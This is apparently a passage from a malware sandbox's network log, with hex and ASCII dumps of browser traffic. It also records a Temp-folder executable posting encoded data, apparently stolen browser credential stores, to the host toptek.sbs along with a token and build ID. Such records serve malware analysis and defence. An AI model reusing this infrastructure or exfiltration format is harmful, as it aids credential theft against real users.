72 79 7b 5c 6e Data Ascii: 8000a.C,a,b);const e\u003da.v+c;a.v++;b.dataset.eqid\u003de;a.B[e]\u003dd;b\u0026\u0026b.addEventListener?b.addEventListener(c,d,!1):b\u0026\u0026b.attachEvent?b.attachEvent(\"on\"+c,d):a.o.log(Error(\"B`\"+b))}};\n}catch(e){_._DumpException(e)}\ntry{\n
2024-12-23 05:21:39 UTC	1390	IN	Data Raw: 74 68 69 73 2e 6e 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 4b 64 5c 75 30 30 33 64 5b 47 64 28 5c 22 64 61 74 61 5c 22 29 2c 47 64 28 5c 22 68 74 74 70 5c 22 29 2c 47 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 47 64 28 5c 22 6d 61 69 6c 74 6f 5c 22 29 2c 47 64 28 5c 22 66 74 70 5c 22 29 2c 6e 65 77 20 5f 2e 46 64 28 61 5c 75 30 30 33 64 5c 75 30 30 33 65 2f 5e 5b 5e 3a 5d 2a 28 5b 2f 3f 23 5d 7c 24 29 2f 2e 74 65 73 74 28 61 29 29 5d 3b 5f 2e 4c 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 2b 5c 22 5c 22 7d 7d 3b 5f 2e 4d 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 4c 64 28 5f 2e 48 64 3f 5f 2e 48 64 2e 65 6d 70 74 Data Ascii: this.nh\u003da}};_.Kd\u003d[Gd(\"data\"),Gd(\"http\"),Gd(\"https\"),Gd(\"mailto\"),Gd(\"ftp\"),new _.Fd(a\u003d\u003e/^[^:]*([/?#]\|$)/.test(a))];_.Ld\u003dclass{constructor(a){this.i\u003da}toString(){return this.i+\"\"}};_.Md\u003dnew _.Ld(_.Hd?_.Hd.empt
2024-12-23 05:21:39 UTC	1390	IN	Data Raw: 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 5c 75 30 30 33 64 5f 2e 4d 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6f 62 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 7d 3b 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 5f 2e 73 62 28 61 2c 62 2c 63 2c 21 31 29 21 5c Data Ascii: \u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.$d\u003dfunction(a){var b\u003d_.Ma(a);return b\u003d\u003d\"array\"\|\|b\u003d\u003d\"object\"\u0026\u0026typeof a.length\u003d\u003d\"number\"};_.ae\u003dfunction(a,b,c){return _.sb(a,b,c,!1)!\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49756	142.250.181.132	443	3808	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:21:38 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-23 05:21:39 UTC	933	IN	HTTP/1.1 200 OK Version: 705503573 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 23 Dec 2024 05:21:38 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-23 05:21:39 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-12-23 05:21:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49766	94.130.188.57	443	7548	C:\Users\user\AppData\Local\Temp\245347\Dry.com

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:21:42 UTC	322	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----LFUK68QQ1DJEUA1VAIW4 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: toptek.sbs Content-Length: 505 Connection: Keep-Alive Cache-Control: no-cache
2024-12-23 05:21:42 UTC	505	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4c 46 55 4b 36 38 51 51 31 44 4a 45 55 41 31 56 41 49 57 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 36 36 63 39 39 62 34 65 61 31 31 30 37 64 36 37 37 38 31 65 31 33 32 62 32 39 36 63 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 4c 46 55 4b 36 38 51 51 31 44 4a 45 55 41 31 56 41 49 57 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 61 64 62 35 65 35 31 65 62 65 33 62 61 31 32 61 66 62 37 66 62 65 36 32 34 64 31 32 61 32 62 0d 0a 2d 2d 2d 2d 2d 2d 4c 46 55 4b 36 38 51 51 31 44 4a 45 55 41 31 56 41 49 57 34 0d 0a 43 6f 6e 74 Data Ascii: ------LFUK68QQ1DJEUA1VAIW4Content-Disposition: form-data; name="token"a66c99b4ea1107d67781e132b296cd32------LFUK68QQ1DJEUA1VAIW4Content-Disposition: form-data; name="build_id"dadb5e51ebe3ba12afb7fbe624d12a2b------LFUK68QQ1DJEUA1VAIW4Cont
2024-12-23 05:21:43 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 23 Dec 2024 05:21:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-23 05:21:43 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49768	94.130.188.57	443	7548	C:\Users\user\AppData\Local\Temp\245347\Dry.com

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:21:43 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----Q9RQQIMOZU3E3EKX4OHV User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: toptek.sbs Content-Length: 213453 Connection: Keep-Alive Cache-Control: no-cache
2024-12-23 05:21:43 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 51 39 52 51 51 49 4d 4f 5a 55 33 45 33 45 4b 58 34 4f 48 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 36 36 63 39 39 62 34 65 61 31 31 30 37 64 36 37 37 38 31 65 31 33 32 62 32 39 36 63 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 51 39 52 51 51 49 4d 4f 5a 55 33 45 33 45 4b 58 34 4f 48 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 61 64 62 35 65 35 31 65 62 65 33 62 61 31 32 61 66 62 37 66 62 65 36 32 34 64 31 32 61 32 62 0d 0a 2d 2d 2d 2d 2d 2d 51 39 52 51 51 49 4d 4f 5a 55 33 45 33 45 4b 58 34 4f 48 56 0d 0a 43 6f 6e 74 Data Ascii: ------Q9RQQIMOZU3E3EKX4OHVContent-Disposition: form-data; name="token"a66c99b4ea1107d67781e132b296cd32------Q9RQQIMOZU3E3EKX4OHVContent-Disposition: form-data; name="build_id"dadb5e51ebe3ba12afb7fbe624d12a2b------Q9RQQIMOZU3E3EKX4OHVCont
2024-12-23 05:21:43 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:43 UTC	16355	OUT	Data Raw: 41 59 69 43 78 45 41 41 51 59 42 44 51 51 49 41 77 67 49 44 51 67 49 43 41 67 4a 43 41 41 76 5a 58 64 45 74 42 69 33 43 71 41 41 41 41 59 34 6f 47 49 66 43 68 45 41 41 51 59 42 44 51 51 49 43 41 67 49 44 51 67 49 43 41 67 4a 42 77 41 76 5a 58 64 45 74 42 69 33 43 59 41 41 41 41 59 66 43 52 45 41 41 51 59 42 44 51 51 49 43 41 67 49 44 51 67 49 43 41 67 4a 42 67 41 76 5a 58 64 45 74 42 69 33 43 49 41 41 41 41 59 65 43 42 45 41 41 51 59 49 44 51 51 49 43 41 67 49 44 51 67 49 43 41 67 4a 42 51 41 76 5a 58 64 45 74 42 69 33 45 41 41 41 42 69 49 48 45 51 41 42 42 67 45 4e 42 41 67 44 43 41 67 4e 43 41 67 49 43 41 6b 45 41 43 39 6c 5a 51 58 79 48 55 51 47 6f 41 41 41 42 67 50 73 35 42 38 47 45 51 41 42 42 67 45 4e 42 41 67 49 43 41 67 4e 43 41 67 49 43 41 6b 44 Data Ascii: AYiCxEAAQYBDQQIAwgIDQgICAgJCAAvZXdEtBi3CqAAAAY4oGIfChEAAQYBDQQICAgIDQgICAgJBwAvZXdEtBi3CYAAAAYfCREAAQYBDQQICAgIDQgICAgJBgAvZXdEtBi3CIAAAAYeCBEAAQYIDQQICAgIDQgICAgJBQAvZXdEtBi3EAAABiIHEQABBgENBAgDCAgNCAgICAkEAC9lZQXyHUQGoAAABgPs5B8GEQABBgENBAgICAgNCAgICAkD
2024-12-23 05:21:43 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:43 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:43 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:43 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:43 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:43 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:43 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:45 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 23 Dec 2024 05:21:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49769	94.130.188.57	443	7548	C:\Users\user\AppData\Local\Temp\245347\Dry.com

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:21:44 UTC	324	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----US0R9RI58YM7YMGLX4W4 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: toptek.sbs Content-Length: 55081 Connection: Keep-Alive Cache-Control: no-cache
2024-12-23 05:21:44 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 55 53 30 52 39 52 49 35 38 59 4d 37 59 4d 47 4c 58 34 57 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 36 36 63 39 39 62 34 65 61 31 31 30 37 64 36 37 37 38 31 65 31 33 32 62 32 39 36 63 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 55 53 30 52 39 52 49 35 38 59 4d 37 59 4d 47 4c 58 34 57 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 61 64 62 35 65 35 31 65 62 65 33 62 61 31 32 61 66 62 37 66 62 65 36 32 34 64 31 32 61 32 62 0d 0a 2d 2d 2d 2d 2d 2d 55 53 30 52 39 52 49 35 38 59 4d 37 59 4d 47 4c 58 34 57 34 0d 0a 43 6f 6e 74 Data Ascii: ------US0R9RI58YM7YMGLX4W4Content-Disposition: form-data; name="token"a66c99b4ea1107d67781e132b296cd32------US0R9RI58YM7YMGLX4W4Content-Disposition: form-data; name="build_id"dadb5e51ebe3ba12afb7fbe624d12a2b------US0R9RI58YM7YMGLX4W4Cont
2024-12-23 05:21:44 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:44 UTC	16355	OUT	Data Raw: 32 68 68 63 6d 6c 75 5a 31 39 75 62 33 52 70 5a 6d 6c 6a 59 58 52 70 62 32 35 66 5a 47 6c 7a 63 47 78 68 65 57 56 6b 49 45 6c 4f 56 45 56 48 52 56 49 67 54 6b 39 55 49 45 35 56 54 45 77 67 52 45 56 47 51 56 56 4d 56 43 41 77 4c 43 42 72 5a 58 6c 6a 61 47 46 70 62 6c 39 70 5a 47 56 75 64 47 6c 6d 61 57 56 79 49 45 4a 4d 54 30 49 73 49 46 56 4f 53 56 46 56 52 53 41 6f 62 33 4a 70 5a 32 6c 75 58 33 56 79 62 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 56 66 5a 57 78 6c 62 57 56 75 64 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 56 66 64 6d 46 73 64 57 55 73 49 48 42 68 63 33 4e 33 62 33 4a 6b 58 32 56 73 5a 57 31 6c 62 6e 51 73 49 48 4e 70 5a 32 35 76 